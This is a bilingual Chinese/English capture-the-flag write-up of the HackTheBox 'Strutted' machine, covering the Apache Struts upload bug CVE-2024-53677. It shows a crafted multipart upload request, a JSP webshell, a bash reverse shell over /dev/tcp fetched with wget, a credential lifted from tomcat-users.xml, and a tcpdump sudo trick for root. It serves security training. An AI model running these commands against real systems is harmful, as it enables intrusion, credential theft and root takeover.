HackTheBox Strutted Writeup
HackTheBox Strutted 是一台中等难度的 Linux 机器。本文按照信息收集、初始访问、横向或提权路径的顺序整理完整解题过程,突出关键漏洞点、凭据来源与最终拿到 user/root 或域权限的利用链。
htb strutted
枚举

有两个端口开放
现在使用nikto来枚举网站

没有CGI
10.10.11.59 strutted.htb
添加10.10.11.59 strutted.htb到/etc/hosts
查看网站,手动枚举
打开页面发现一个

我们下载后得到一个

strutted.zip 解压unzip stutted.zip
解压出来后得知目标上运行的应用程序服务器tomcat
查看文件夹strutted后看到应用程序依赖项的文件是pom.xml
打开pom.xml

MVC架构是 Apache struts 6.3.0.1
在搜索引擎中搜索得到CVE ID为CVE-2024-53677
根据github
git clone https://github.com/0xPThree/struts_cve-2024-53677.git

需要模块
sudo apt install python3-requests-toolbelt
再次尝试
查看源代码,我们可以打开burp
再次运行就成功了
没有找到漏洞
说明:没有找到此漏洞,但是它依然存在文件上传漏洞导致RCE
立足点
尝试手动上传
仔细查看下载下来的文件我们可以发现目标可以运行.jsp文件
文件也包含了关于如何检测是否为png等图像的方法:检查魔法头。我们在他之后写入相应代码即可
我们应该构建一个类似的表单:
POST /uploads.action HTTP/1.1
Host: 127.0.0.1:8080
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq0PW93h6lyBzjZNZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 138
- -----WebKitFormBoundaryq0PW93h6lyBzjZNZ
Content-Disposition: form-data; name="Upload";filename="1.txt"
Content-Type: text/plain
y4tacker
- -----WebKitFormBoundaryq0PW93h6lyBzjZNZ
Content-Disposition: form-data; name="Upload";filename="2.txt"
Content-Type: text/plain
1
- -----WebKitFormBoundaryq0PW93h6lyBzjZNZ--

我们尝试这样做的时候,发现好像似乎没用
此时只需要将upload小写改为大写Upload。(解释)

测试payload
http://strutted.htb/shell.jsp?action=cmd&cmd=id
反向链接
攻击机:
echo -ne ’#!/bin/bash\nbash -c “bash -i >& /dev/tcp/10.10.14.100/4444 0>&1”’ > bash.sh
python3 -m http.server 80
nc -lvvp 4444
目标:
http://strutted.htb/shell.jsp?action=cmd&cmd=wget+10.10.14.100/bash.sh+-O+/tmp/bash.sh
http://strutted.htb/shell.jsp?action=cmd&cmd=chmod+777+/tmp/bash.sh
http://strutted.htb/shell.jsp?action=cmd&cmd=/tmp/bash.sh
寻找文件
cat conf/tomcat-users.xml → password=“IT14d6SSP81k”
cat /etc/passwd | grep ‘/bin/bash’ → 用户:james存在
ssh链接
ssh james@10.129.231.200
Privilege Escalation
sudo -l → /usr/sbin/tcpdump
GTFOBin查询
COMMAND=‘cp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root’
TF=$(mktemp)
echo “TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
/tmp/bash_root -p
即可
解释
为什么将upload小写改为大写Upload
Struts2 的文件上传是通过一个叫 FileUploadInterceptor 的拦截器完成的。它在请求进入 Action 之前,对 multipart/form-data 的每个字段执行一套绑定逻辑。
假设表单中有:
那么 Struts 会尝试去你的 Action 类(这里是org.strutted.htb.Upload)中找这些属性:

JavaBean/OGNL 反射在匹配 setter 时采用首字母大写的 method 名(setUploadFileName),最终只有 UploadFileName 能被 route 到正确的 setter(实现差异导致必须使用大写形式)。
为什么要使用top.UploadFilename?
top.UploadFileName和 Struts 的 OGNL(Object-Graph Navigation Language)机制有关系。
一、Struts 参数绑定的真相
Struts2 在接收到一个 HTTP 请求时,会把所有表单字段和 multipart 字段放进一个 ValueStack。
这个栈本质上是一个对象层次结构(通常顶层是当前执行的 Action)。
OGNL 负责解析表达式,把请求参数名(如 "UploadFileName", "user.name", "top.UploadFileName")
映射到对象的属性上。
比如:
- 参数名
"uploadFileName"→ 调用setUploadFileName(...); - 参数名
"user.name"→ 调用getUser().setName(...); - 参数名
"top.UploadFileName"→ 直接作用在 栈顶对象(当前 Action) 上,而不是栈中其他对象。
二、为什么要写成
top.UploadFileName
在很多真实场景(尤其是漏洞利用或某些复杂配置中),Action 并不是唯一的对象。
ValueStack 里可能还有:
- 拦截器注入的对象(如模型、DTO);
- 内部 Map(如 parameters、session、application);
- 甚至 request / response 的引用。
当你直接写 "UploadFileName" 时,OGNL 会从栈顶往下查找第一个含有该属性的对象。
如果在上层某个对象里也存在同名属性,比如 "parameters.UploadFileName",OGNL 可能就绑定错对象。
因此——
top.UploadFileName 是一种“指明方向”的写法:
告诉 OGNL “我不要查栈,我要直接改栈顶(即 Action 本身)的 UploadFileName 属性”。
在利用链或渗透测试里,这一点非常重要,因为:
- 目标 setter 可能只存在于 Action,而非内部模型;
- 攻击者要确保 OGNL 表达式不会意外被其他层拦截;
- 某些 RCE 利用(如 Struts2 S2-045 / S2-046)就是利用
top来访问actionContext、application、memberAccess等敏感对象。
top是 OGNL 的关键字,代表 ValueStack 栈顶对象(通常是当前 Action)。top.UploadFileName可以确保修改的就是 Action 自己的属性,不被中间对象干扰。- 在漏洞利用或调试中,明确指定
top.是一种“精准打击”——直接命中 setter。
HTB strutted
Enumeration

Two ports are open.
Now use nikto to enumerate the website.

No CGI
10.10.11.59 strutted.htb
Add 10.10.11.59 strutted.htb to /etc/hosts.
View the website, manual enumeration
Opening the page reveals one.

After downloading, we get one.

strutted.zip unzip stutted.zip
After extraction, we learn the application server running on the target is Tomcat.
Looking at the strutted folder, we see the application dependency file is pom.xml.
Open pom.xml.

The MVC architecture is Apache Struts 6.3.0.1.
Searching in search engines yields CVE ID CVE-2024-53677.
According to GitHub
git clone https://github.com/0xPThree/struts_cve-2024-53677.git

Requires module.
sudo apt install python3-requests-toolbelt
Try again.
Looking at the source code, we can open Burp.
Running again succeeded.
Vulnerability not found.
Note: The vulnerability was not found, but it still has a file upload vulnerability leading to RCE.
Foothold
Attempt manual upload
Looking closely at the downloaded files, we can find the target can run .jsp files.
The files also contain methods on how to check if it’s a PNG or other image: checking the magic header. We can write the corresponding code after that.
According to this and this payload.
We should construct a similar form:
POST /uploads.action HTTP/1.1
Host: 127.0.0.1:8080
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq0PW93h6lyBzjZNZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 138
-----WebKitFormBoundaryq0PW93h6lyBzjZNZ
Content-Disposition: form-data; name="Upload";filename="1.txt"
Content-Type: text/plain
y4tacker
-----WebKitFormBoundaryq0PW93h6lyBzjZNZ
Content-Disposition: form-data; name="Upload";filename="2.txt"
Content-Type: text/plain
1
-----WebKitFormBoundaryq0PW93h6lyBzjZNZ--

When we tried this, it seemed like it didn’t work.
At this point, we just need to change the lowercase upload to uppercase Upload. (Explanation)

Test payload
http://strutted.htb/shell.jsp?action=cmd&cmd=id
Reverse Link
Attacker:
echo -ne '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.14.100/4444 0>&1"' > bash.sh
python3 -m http.server 80
nc -lvvp 4444
Target:
http://strutted.htb/shell.jsp?action=cmd&cmd=wget+10.10.14.100/bash.sh+-O+/tmp/bash.sh
http://strutted.htb/shell.jsp?action=cmd&cmd=chmod+777+/tmp/bash.sh
http://strutted.htb/shell.jsp?action=cmd&cmd=/tmp/bash.sh
File Search
cat conf/tomcat-users.xml → password="IT14d6SSP81k"
cat /etc/passwd | grep '/bin/bash' → User: james exists
SSH Connection
ssh james@10.129.231.200
Privilege Escalation
sudo -l → /usr/sbin/tcpdump
GTFOBin Lookup
COMMAND='cp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
/tmp/bash_root -p
Explanation
Why change the lowercase ‘upload’ to uppercase ‘Upload’?
Struts2 file upload is handled by an interceptor called FileUploadInterceptor. It performs a binding logic for each field of multipart/form-data before the request enters the Action.
Assume the form contains: <input type="file" name="upload">
Struts will then attempt to find these properties in your Action class (in this case, org.strutted.htb.Upload):

JavaBean/OGNL reflection matches setters using method names with the first letter capitalized (setUploadFileName). Ultimately, only UploadFileName can be routed to the correct setter (implementation differences necessitate using the uppercase form).
Why use top.UploadFilename?
The use of top.UploadFileName is related to Struts’ OGNL (Object-Graph Navigation Language) mechanism.
I. The Truth About Struts Parameter Binding
When Struts2 receives an HTTP request, it puts all form fields and multipart fields into a ValueStack.
This stack is essentially an object hierarchy (usually with the current executing Action at the top).
OGNL is responsible for parsing expressions and mapping request parameter names (e.g., "UploadFileName", "user.name", "top.UploadFileName")
to object properties.
For example:
- Parameter name
"uploadFileName"→ callssetUploadFileName(...); - Parameter name
"user.name"→ callsgetUser().setName(...); - Parameter name
"top.UploadFileName"→ directly acts on the top object of the stack (the current Action), rather than other objects in the stack.
2. Why Write As
top.UploadFileName
In many real-world scenarios (especially in vulnerability exploitation or certain complex configurations), the Action is not the only object.
The ValueStack may also contain:
- Objects injected by interceptors (such as models, DTOs);
- Internal maps (such as parameters, session, application);
- Or even references to request / response.
When you write "UploadFileName" directly, OGNL searches from the top of the stack downwards for the first object containing that property.
If there is a property with the same name in an object higher up, such as "parameters.UploadFileName", OGNL might bind to the wrong object.
Therefore—
top.UploadFileName is a way to “specify the direction”:
It tells OGNL “I don’t want to search the stack; I want to directly modify the UploadFileName property of the stack top (i.e., the Action itself).”
In exploit chains or penetration testing, this is very important because:
- The target setter may only exist in the Action, not in internal models;
- Attackers need to ensure that the OGNL expression is not accidentally intercepted by other layers;
- Some RCE exploits (such as Struts2 S2-045 / S2-046) use
topto access sensitive objects likeactionContext,application,memberAccess, etc.
topis a keyword in OGNL representing the stack top object of the ValueStack (usually the current Action).top.UploadFileNameensures that the property being modified is indeed the Action’s own property, without interference from intermediate objects.- In vulnerability exploitation or debugging, explicitly specifying
top.is a “precision strike”—directly hitting the setter.